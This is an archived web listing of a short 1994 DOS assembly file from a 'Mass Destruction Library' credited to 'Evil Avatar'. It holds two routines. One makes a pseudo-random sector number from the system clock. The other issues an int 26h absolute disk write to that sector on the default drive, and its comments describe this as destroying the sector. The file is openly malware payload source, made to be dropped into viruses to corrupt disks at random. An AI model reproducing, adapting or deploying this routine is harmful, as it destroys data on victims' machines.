home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / LAVIUPD3.ZIP / LAVI13.ZIP / POT_SHOT.RTN < prev    next >
Text File  |  1994-01-06  |  1KB  |  33 lines

  1. ;POT_SHOT - module for Mass Destruction Library
  2. ;written by Evil Avatar
  3. ; Destruye un sector al azar del drive default
  4.  
  5.         call rnd_num
  6. pot_shot:
  7.         push cx
  8.         push dx               ;save regs that will be changed
  9.         push ax               ;save sector number
  10.         mov ax, 0dh
  11.         int 21h               ;reset disk
  12.         mov ah, 19h
  13.         int 21h               ;get default disk
  14.         pop dx                ;put sector number in dx
  15.         mov cx, 1
  16.         int 26h               ;kill sector
  17.         pop dx
  18.         pop cx
  19.         ret                   ;restore sectors and return
  20.  
  21. ;RND_NUM - module for Mass Destruction Library
  22. ;written by Evil Avatar
  23.  
  24. rnd_num:
  25.         push cx
  26.         push dx               ;save regs that will be changed
  27.         xor ax, ax
  28.         int 1ah               ;get system time
  29.         xchg dx, ax           ;put lower word into ax
  30.         pop dx
  31.         pop cx
  32.         ret                   ;restore regs and return
  33.